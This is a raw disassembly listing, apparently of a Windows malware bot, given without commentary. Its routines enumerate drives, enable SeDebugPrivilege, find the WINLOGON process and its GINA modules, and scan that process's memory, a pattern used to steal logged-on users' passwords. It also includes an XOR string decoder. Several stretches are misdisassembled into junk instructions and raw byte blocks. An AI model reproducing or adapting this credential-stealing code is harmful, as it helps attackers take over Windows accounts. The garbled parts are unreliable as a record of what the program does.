loc_416E9A: ; CODE XREF: .nsp0:00416E8Cj
lea eax, [ebp-510h]
push eax
call sub_41BF36
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_416ECE
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_4099D2
add esp, 14h
loc_416ECE: ; CODE XREF: .nsp0:00416EACj
lea eax, [ebp-510h]
push eax
call sub_4157A6
pop ecx
loc_416EDB: ; CODE XREF: .nsp0:00416C9Ej
; .nsp0:00416D27j ...
push dword ptr [ebp-18h]
call dword_4D1224 ; InternetCloseHandle
push dword ptr [ebp-48h]
call sub_40B32A
pop ecx
push esi
call near ptr 0B40000h
insb
; =============== S U B R O U T I N E =======================================
sub_416EF4 proc near ; CODE XREF: .nsp0:00416B20p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416F10
loc_416F00: ; CODE XREF: sub_416EF4+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416F00
locret_416F10: ; CODE XREF: sub_416EF4+Aj
retn
sub_416EF4 endp
; =============== S U B R O U T I N E =======================================
sub_416F11 proc near ; CODE XREF: .nsp0:00407298p
; .nsp0:004073CCp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DA8E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F2B proc near ; CODE XREF: sub_41011E+45Dp
; sub_41011E+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D8E28
push 0
push edi
call sub_41BC40
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416F50: ; CODE XREF: sub_416F2B+5Bj
; sub_416F2B+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DB50
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DAE0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416F8E
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416F50
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416F50
; ---------------------------------------------------------------------------
loc_416F8E: ; CODE XREF: sub_416F2B+4Bj
dec esi
mov eax, edi
loc_416F91: ; CODE XREF: sub_416F2B+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416FA0
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416F91
; ---------------------------------------------------------------------------
loc_416FA0: ; CODE XREF: sub_416F2B+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416F2B endp
; =============== S U B R O U T I N E =======================================
sub_416FAA proc near ; CODE XREF: sub_417156+51p
; sub_417156+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4D1250 ; GetDriveTypeA
sub eax, 0
jz short loc_416FED
dec eax
jz short loc_416FE7
dec eax
dec eax
jz short loc_416FE1
dec eax
jz short loc_416FDB
dec eax
jz short loc_416FD5
dec eax
jz short loc_416FCF
mov eax, offset word_43FB1C
retn
; ---------------------------------------------------------------------------
loc_416FCF: ; CODE XREF: sub_416FAA+1Dj
mov eax, offset off_43FB18
retn
; ---------------------------------------------------------------------------
loc_416FD5: ; CODE XREF: sub_416FAA+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416FDB: ; CODE XREF: sub_416FAA+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416FE1: ; CODE XREF: sub_416FAA+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416FE7: ; CODE XREF: sub_416FAA+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416FED: ; CODE XREF: sub_416FAA+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416FAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FF3 proc near ; CODE XREF: sub_41703B+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4D10E0
test eax, eax
jz short loc_417028
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; dword_4D10E0
loc_417028: ; CODE XREF: sub_416FF3+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416FF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41703B proc near ; CODE XREF: sub_417156+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416FF3
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_417113
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_417113
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_417113
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DBD0
push edx
push eax
call sub_416F2B
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C030
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DBD0
push edx
push eax
call sub_416F2B
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C030
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DBD0
push edx
push eax
call sub_416F2B
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C030
add esp, 18h
pop ebx
jmp short loc_417142
; ---------------------------------------------------------------------------
loc_417113: ; CODE XREF: sub_41703B+2Cj
; sub_41703B+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41BF36
lea eax, [ebp+var_118]
push esi
push eax
call sub_41BF36
lea eax, [ebp+var_98]
push esi
push eax
call sub_41BF36
add esp, 18h
loc_417142: ; CODE XREF: sub_41703B+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41703B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417156 proc near ; CODE XREF: sub_417228+17p
; sub_417228+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_41703B
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C710
add esp, 10h
test eax, eax
jnz short loc_4171C9
push ebx
push ebx
call sub_416FAA
pop ecx
push eax
push offset unk_43FB6C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C030
add esp, 14h
jmp short loc_4171FD
; ---------------------------------------------------------------------------
loc_4171C9: ; CODE XREF: sub_417156+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416FAA
pop ecx
push eax
push offset unk_43FB30
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C030
add esp, 20h
loc_4171FD: ; CODE XREF: sub_417156+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_500]
push eax
call sub_4157A6
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_417156 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417228 proc near ; CODE XREF: .nsp0:0040401Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_417249
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417156
add esp, 10h
jmp short loc_4172AA
; ---------------------------------------------------------------------------
loc_417249: ; CODE XREF: sub_417228+9j
push esi
push edi
push ebx
push ebx
call dword_4D1158 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BBCB
pop ecx
mov edi, eax
push edi
push esi
call dword_4D1158 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4172A1
loc_41726D: ; CODE XREF: sub_417228+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_417290
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417156
add esp, 10h
loc_417290: ; CODE XREF: sub_417228+54j
push esi
call sub_41B890
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_41726D
loc_4172A1: ; CODE XREF: sub_417228+43j
push edi
call sub_41B961
pop ecx
pop edi
pop esi
loc_4172AA: ; CODE XREF: sub_417228+1Fj
pop ebx
pop ebp
retn
sub_417228 endp
; ---------------------------------------------------------------------------
byte_4172AD db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:004082ECo
dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 45AFE8h
dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh
dd 4596E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h
dd 0FBCC6850h, 858D0043h, 0FFFFFB64h, 20068h, 11E85000h
dd 8300004Dh, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF268Eh
dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5AE8FFFFh, 50000000h
dd 0FB64858Dh, 0AC68FFFFh, 500043FBh, 4BB9E8h, 24C48300h
dd 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh, 0FD68858Dh
dd 0FF50FFFFh, 0FFFD64B5h, 2630E8FFh, 0C483FFFFh, 64858D14h
dd 50FFFFFBh, 0FFE3F5E8h, 0F075FFFFh, 0FF3F71E8h, 535959FFh
dd 728C3FE8h, 5E5F2500h, 0EC8B555Bh, 54CEC81h, 56530000h
dd 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh, 43FC10h
dd 45E85056h, 8B00004Ch, 42711C3Dh, 10C48300h, 0FEBC858Dh
dd 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h, 0F0BBFC45h
dd 74004301h, 0BC85F671h, 10FFFFFEh, 0BD805474h, 0FFFFFEE8h
dd 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h, 742EFFFFh
dd 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh, 50565318h
dd 4BE3E8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh, 75FF1475h
dd 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h, 858D1C45h
dd 0FFFFFEBCh, 0FC75FF50h, 700015FFh, 0C0850042h, 75FF8F75h
dd 8B76E8FCh, 0FFF00072h, 858D1475h, 0FFFFFDB8h, 531875FFh
dd 91E85056h, 8300004Bh, 858D14C4h, 0FFFFFEBCh, 0B8858D50h
dd 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh, 0FFFFFFFEh
dd 8D501C45h, 0FFFAB485h, 1875FFFFh, 43FBF468h, 2006800h
dd 0E8500000h, 4B54h, 858D016Ah, 0FFFFFAB4h, 501075FFh
dd 0FF0C75FFh, 0DFE80875h, 83FFFF24h, 858D28C4h, 0FFFFFEBCh
dd 15FF5650h, 427000h, 0B175C085h, 8AF2E856h, 8B7F0072h
dd 5E5F1C45h
; ---------------------------------------------------------------------------
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417517 proc near ; DATA XREF: .nsp0:0040379Do
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41B196
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417556
cmp eax, 2
jz short loc_417556
push offset unk_43FDE8
jmp loc_417695
; ---------------------------------------------------------------------------
loc_417556: ; CODE XREF: sub_417517+2Ej
; sub_417517+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419EDA
pop ecx
test eax, eax
pop ecx
jz loc_417690
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4270B8 ; LoadLibraryA
mov esi, dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; dword_4270BC
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4DA06C, eax
call esi ; dword_4270BC
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4DA060, eax
call esi ; dword_4270BC
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4DA270, eax
call esi ; dword_4270BC
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4DA068, eax
call esi ; dword_4270BC
mov dword_4DA064, eax
call sub_4176E9
test eax, eax
mov [ebp+arg_0], eax
jz loc_417663
mov esi, dword_427140
mov edi, 400h
mov ebx, offset dword_4D9060
push edi
push ebx
push offset off_43FD24
call esi ; dword_427140
push edi
mov edi, offset dword_4D9860
push edi
push offset off_43FD0C
call esi ; dword_427140
cmp [ebp+var_4], 1
push offset dword_4DA278
push [ebp+arg_0]
jnz short loc_41760F
call loc_417872
jmp short loc_417614
; ---------------------------------------------------------------------------
loc_41760F: ; CODE XREF: sub_417517+EFj
call sub_417A19
loc_417614: ; CODE XREF: sub_417517+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_41765C
cmp dword_4DA278, 0
jnz short loc_417643
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_43FCB0
push 200h
push eax
call sub_41C030
add esp, 18h
jmp short loc_417676
; ---------------------------------------------------------------------------
loc_417643: ; CODE XREF: sub_417517+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417653
call sub_417B4F
jmp short loc_417658
; ---------------------------------------------------------------------------
loc_417653: ; CODE XREF: sub_417517+133j
call sub_417BE6
loc_417658: ; CODE XREF: sub_417517+13Aj
pop ecx
push eax
jmp short loc_417668
; ---------------------------------------------------------------------------
loc_41765C: ; CODE XREF: sub_417517+101j
push offset unk_43FC78
jmp short loc_417668
; ---------------------------------------------------------------------------
loc_417663: ; CODE XREF: sub_417517+B6j
push offset unk_43FC4C
loc_417668: ; CODE XREF: sub_417517+143j
; sub_417517+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_417676: ; CODE XREF: sub_417517+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419EDA
pop ecx
pop ecx
push [ebp+var_8]
call near ptr 0B40000h
lock pop ebx
jmp short loc_4176A3
; ---------------------------------------------------------------------------
loc_417690: ; CODE XREF: sub_417517+4Ej
push offset unk_43FC18
loc_417695: ; CODE XREF: sub_417517+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_4176A3: ; CODE XREF: sub_417517+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4176CA
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_4099D2
add esp, 14h
loc_4176CA: ; CODE XREF: sub_417517+191j
lea eax, [ebp+var_29C]
push eax
call sub_4157A6
push [ebp+var_18]
call sub_40B32A
pop ecx
pop ecx
push esi
call near ptr 0B40000h
xchg eax, ecx
pop edi
pop esi
sub_417517 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4176E9 proc near ; CODE XREF: sub_417517+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_42714C
mov ebx, 100h
push edi
push ebx
push 8
call esi ; dword_42714C
mov edi, dword_427148
push eax
call edi ; dword_427148
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4DA06C ; ZwQuerySystemInformation
push ebp
push 0
call esi ; dword_42714C
push eax
call dword_427144 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; dword_42714C
push eax
call edi ; dword_427148
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4DA06C ; ZwQuerySystemInformation
test eax, eax
jnz short loc_4177D6
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4177D6
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_4177D6
loc_417772: ; CODE XREF: sub_4176E9+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4177C9
push 0
push 0
call dword_4DA060 ; RtlCreateQueryDebugBuffer
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4DA270 ; RtlQueryProcessDebugInformation
test eax, eax
jnz short loc_4177BA
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DC7A
pop ecx
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_4177EE
loc_4177BA: ; CODE XREF: sub_4176E9+AAj
test edi, edi
jz short loc_4177C5
push edi
call dword_4DA068 ; RtlDestroyQueryDebugBuffer
loc_4177C5: ; CODE XREF: sub_4176E9+D3j
mov eax, [esp+28h+var_10]
loc_4177C9: ; CODE XREF: sub_4176E9+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_417772
loc_4177D6: ; CODE XREF: sub_4176E9+6Dj
; sub_4176E9+7Aj ...
xor edi, edi
loc_4177D8: ; CODE XREF: sub_4176E9+17Dj
push ebp
push 0
call esi ; dword_42714C
push eax
call dword_427144 ; RtlFreeHeap
mov eax, edi
loc_4177E6: ; CODE XREF: sub_4176E9+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4177EE: ; CODE XREF: sub_4176E9+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417857
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_417804: ; CODE XREF: sub_4176E9+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DC7A
pop ecx
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_41786B
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DC7A
pop ecx
push eax
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417849
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_417849: ; CODE XREF: sub_4176E9+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417804
loc_417857: ; CODE XREF: sub_4176E9+10Fj
test edi, edi
jz short loc_417862
push edi
call dword_4DA068 ; RtlDestroyQueryDebugBuffer
loc_417862: ; CODE XREF: sub_4176E9+170j
mov edi, [esp+28h+var_4]
jmp loc_4177D8
; ---------------------------------------------------------------------------
loc_41786B: ; CODE XREF: sub_4176E9+13Cj
xor eax, eax
jmp loc_4177E6
sub_4176E9 endp
; ---------------------------------------------------------------------------
loc_417872: ; CODE XREF: sub_417517+F1p
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push dword ptr [ebp+8]
mov [ebp-10h], esi
push esi
push 410h
call near ptr 0B40000h
jnp short near ptr loc_4178C8+1
mov byte ptr [ecx+775FC45h], 33h
shr cl, 7Bh
add [eax], eax
add [ebx+57530C45h], cl
mov [eax], esi
lea eax, [ebp-64h]
push eax
call dword_427158 ; GetSystemInfo
push dword ptr [ebp-60h]
mov [ebp-8], esi
mov esi, dword_42714C
push 8
call esi ; dword_42714C
mov edi, dword_427148
push eax
call edi ; dword_427148
lea ecx, [ebp-8]
loc_4178C8: ; CODE XREF: .nsp0:0041788Cj
mov ebx, dword_427154
push ecx
mov [ebp+8], eax
push dword ptr [ebp-60h]
push eax
push 7FFDF000h
push dword ptr [ebp-4]
call ebx ; dword_427154
test eax, eax
jnz short loc_4178EB
xor esi, esi
jmp loc_417A09
; ---------------------------------------------------------------------------
loc_4178EB: ; CODE XREF: .nsp0:004178E2j
lea eax, [ebp-40h]
push 1Ch
push eax
mov eax, [ebp+8]
push dword ptr [eax+18h]
push dword ptr [ebp-4]
call dword_427150 ; VirtualQueryEx
test eax, eax
jz loc_4179F8
mov ecx, [ebp-30h]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4179F8
test byte ptr [ebp-2Bh], 1
jnz loc_4179F8
push dword ptr [ebp-34h]
push 8
call esi ; dword_42714C
push eax
call edi ; dword_427148
mov edi, eax
lea eax, [ebp-8]
push eax
mov eax, [ebp+8]
push dword ptr [ebp-34h]
mov [ebp-0Ch], edi
push edi
push dword ptr [eax+18h]
push dword ptr [ebp-4]
call ebx ; dword_427154
test eax, eax
jz loc_4179F8
loc_41794E: ; CODE XREF: .nsp0:00417984j
push edi
push offset dword_4D9060
call sub_4265F4
pop ecx
test eax, eax
pop ecx
jnz short loc_417976
lea eax, [edi+200h]
push eax
push offset dword_4D9860
call sub_4265F4
pop ecx
test eax, eax
pop ecx
jz short loc_417986
loc_417976: ; CODE XREF: .nsp0:0041795Dj
mov eax, [ebp-34h]
mov ecx, [ebp-0Ch]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4179F8
jmp short loc_41794E
; ---------------------------------------------------------------------------
loc_417986: ; CODE XREF: .nsp0:00417974j
test edi, edi
jz short loc_4179F8
lea eax, [ebp-14h]
push eax
lea eax, [edi+410h]
push eax
call near ptr 0B40000h
inc edi
test eax, eax
jz short loc_4179C1
lea eax, [ebp-24h]
push eax
lea eax, [ebp-14h]
push eax
call near ptr 0B40000h
aam 85h
sal byte ptr [eax+edx-76h], 87h
sub al, 4
; ---------------------------------------------------------------------------
db 2 dup(0), 8Bh
dd 0E8D10C4Dh, 897FE083h
db 1
; ---------------------------------------------------------------------------
loc_4179C1: ; CODE XREF: .nsp0:0041799Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4DA284, eax
mov eax, [ebp+8]
mov dword ptr [ebp-10h], 1
mov eax, [eax+18h]
sub eax, [ebp-0Ch]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4DA27C, eax
mov dword_4DA280, edi
loc_4179F8: ; CODE XREF: .nsp0:00417902j
; .nsp0:00417914j ...
push dword ptr [ebp+8]
push 0
call esi ; dword_42714C
push eax
call dword_427144 ; RtlFreeHeap
mov esi, [ebp-10h]
loc_417A09: ; CODE XREF: .nsp0:004178E6j
push dword ptr [ebp-4]
call dword_42706C ; CloseHandle
pop edi
mov eax, esi
pop ebx
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A19 proc near ; CODE XREF: sub_417517:loc_41760Fp
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call near ptr 0B40000h
push eax
test eax, eax
mov [ebp+arg_0], eax
jz loc_417B0B
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call dword_427158 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417B02
mov edi, dword_42714C
loc_417A64: ; CODE XREF: sub_417A19+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call dword_427150 ; VirtualQueryEx
test eax, eax
jz short loc_417AF0
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_417AF6
test [ebp+var_13], 1
jnz short loc_417AF6
push ecx
push 8
call edi ; dword_42714C
push eax
call dword_427148 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call near ptr 0B40000h
int 85h
sal byte ptr [eax+ebp+68h], 60h
nop
dec ebp
add [esi-18h], dl
das
jmp short $+2
add [ecx-7Bh], bl
rcr byte ptr [ecx+75h], 17h
lea eax, [esi+400h]
push offset dword_4D9860
push eax
call sub_4265F4
pop ecx
test eax, eax
pop ecx
jz short loc_417B12
push esi
push 0
call edi ; dword_42714C
push eax
call dword_427144 ; RtlFreeHeap
jmp short loc_417AF6
; ---------------------------------------------------------------------------
loc_417AF0: ; CODE XREF: sub_417A19+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_417AF6: ; CODE XREF: sub_417A19+71j
; sub_417A19+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417A64
loc_417B02: ; CODE XREF: sub_417A19+3Fj
push [ebp+arg_0]
call dword_42706C ; CloseHandle
loc_417B0B: ; CODE XREF: sub_417A19+1Ej
xor eax, eax
loc_417B0D: ; CODE XREF: sub_417A19+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417B12: ; CODE XREF: sub_417A19+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4DA27C, ebx
mov dword_4DA280, eax
cmp [eax], cl
jnz short loc_417B34
cmp [eax+1], cl
jz short loc_417B3C
loc_417B34: ; CODE XREF: sub_417A19+114j
; sub_417A19+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417B34
loc_417B3C: ; CODE XREF: sub_417A19+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call dword_42706C ; CloseHandle
push 1
pop eax
jmp short loc_417B0D
sub_417A19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B4F proc near ; CODE XREF: sub_417517+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
